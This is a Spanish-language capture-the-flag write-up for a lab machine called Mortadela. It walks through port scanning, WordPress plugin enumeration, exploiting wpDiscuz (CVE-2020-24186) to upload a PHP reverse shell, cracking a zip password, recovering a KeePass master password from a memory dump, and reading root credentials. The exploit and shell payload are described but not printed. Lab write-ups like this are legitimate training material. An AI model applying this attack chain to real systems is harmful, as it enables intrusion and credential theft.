Mortadela - WriteUp
Enumeración
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.94SVN scan initiated Fri Apr 5 09:59:23 2024 as: nmap -sCV -p 22,80,3306 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xsl -oN targeted -oX targetedXML 192.168.1.44
Nmap scan report for 192.168.1.44
Host is up (0.00053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 aa:8d:e4:75:bc:f3:f8:5e:42:d0:ee:ca:e2:c4:0b:97 (ECDSA)
|_ 256 ae:fd:91:ef:42:71:cb:11:b9:66:97:bf:ec:5b:d6:4b (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
3306/tcp open mysql MySQL 5.5.5-10.11.6-MariaDB-0+deb12u1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.11.6-MariaDB-0+deb12u1
| Thread ID: 33
| Capabilities flags: 63486
| Some Capabilities: SupportsLoadDataLocal, LongColumnFlag, Support41Auth, IgnoreSpaceBeforeParenthesis, SupportsTransactions, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, SupportsCompression, FoundRows, IgnoreSigpipes, InteractiveClient, ConnectWithDatabase, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: yi~aH%{bWnCA^76IK}Sf
|_ Auth Plugin Name: mysql_native_password
MAC Address: 00:0C:29:0E:4B:CF (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
FUZZ
Descubrimos que corre un Wordpress:
1
$ dirsearch -u http://192.168.0.108 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 60 --full-url
Hacemos un escaneo de plugins con NMAP y descubrimos dos, pero uno nos llama la atneción:
1
$ nmap -p80 192.168.0.108 --script http-wordpress-enum --script-args http-wordpress-enum.root='/wordpress/',search-limit=1000
Explotación
Buscamos vulnerabilidades y encontramos dos que se adaptan perfectamente a la versión:
1
$ se wpdiscuz
Probamos el exploit encontrado por searchsploit
pero no nos convence. Vamos a buscar por la web.
Encontramos este CVE-2020-24186 y nos funciona perfectamente. Creamos el archivo con la URL y ejecutamos el plugin.
1
$ ./CVE-2020-24186 site.txt
Vemos que es vulnerable y nos ha subido un archivo PHP con el que poder subir archivos.
Vamos a probar de subir un shell remoto. El por defecto en estos casos.
Nos ponemos a la espera, subimos el archivo PHP con la web que hemos creado y pa dentro!
Sanitizamos consola y empezamos a enumerar:
Encontramos un archivo sospechoso en /opt…
Nos lo bajamos a nuestro equipo y vemos que tiene contraseña. Le pasamos john…
1
2
3
$ zip2john muyconfidencial.zip > confidencial.hash
...
$ john --wordlist=/usr/share/wordlists/rockyou.txt confidencial.hash
Contraseña de descompresión: pinkgirl
Descomprimimos y mostramos el contenido:
Contiene dos archivos, un dumpeo de keepass y otro que es la BBDD de Keepass:
Buscamos info y encontramos el repositorio KeePass Password Dumper
Debemos emular un proyecto hecho en C# y pasarle el DUMP del Keepass. Con este programa llamado dotnet creamos una lista de posibles contraseñas para romper la seguridad de la base de datos del Keepass.
Instalamos DOTNET LINUX para Linux.
Nos clonamos el repositorio arriba mencionado y ejecutamos lo siguiente:
1
$ dotnet run ../KeePass.DMP passwordlist
Notas
Si recibimos el error del tipo:
“/usr/share/dotnet/sdk/6.0.400/Sdks/Microsoft.NET.Sdk/targets/Microsoft.NET.TargetFrameworkInference.targets(144,5): error NETSDK1045: The current .NET SDK does not support targeting .NET 7.0. Either target .NET 6.0 or lower, or use a version of the .NET SDK that supports .NET 7.0.”
Simplemente editamos el archivo .csproj y en la línea con la etiqueta < TargetFramework > indicamos la versión que tengamos, en mi caso tuve que poner la net6.0
Recibiremos la siguiente salida:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Found: ●9
Found: ●;
Found: ●H
Found: ●[
Found: ●
Found: ●f
Password candidates (character positions):
Unknown characters are displayed as "●"
1.: ●
2.: a, Ï, §, ñ, D, , \, #, y, k, 9, ;, H, [, , f,
3.: r,
4.: i,
5.: t,
6.: r,
7.: i,
8.: n,
9.: i,
10.: 1,
11.: 2,
12.: 3,
13.: 4,
14.: 5,
Combined: ●{a, Ï, §, ñ, D, , \, #, y, k, 9, ;, H, [, , f}ritrini12345
16 possible passwords saved in passwordlist. Unknown characters indicated as ●
Casi casi tenemos el password. Ahora con con john y hashcat terminaremos la faena:
Escalada
Obtenemos el hash de la BBDD de Keepass (archivo Database.kdbx):
1
$ keepass2john Database.kdbx > database.hash
Y por último pasamos hashcat :
1
$ hashcat -m 13400 --username database.hash passwordlist
Aunque nos haya dado “Exhausted” y nos falte el primer carácter del password podemos intuir cuáles son los candidatos a password final:
1
2
Maritrini12345
maritrini12345
Abrimos el archivo .kdbx con Keepass o en mi caso ya que trabajo en Linux con KeePassXC y en contraseña probamos la primera con la M mayúscula y bingo! Entramos en la BBDD!
Y nos muestra con gran afecto el password de root!
Credenciales:
1
root:Juanikonokukunero
Las probamos en nuestra consola y…
Enhorabuena! somos root y podemos registrar las flags!
Comments powered by Disqus.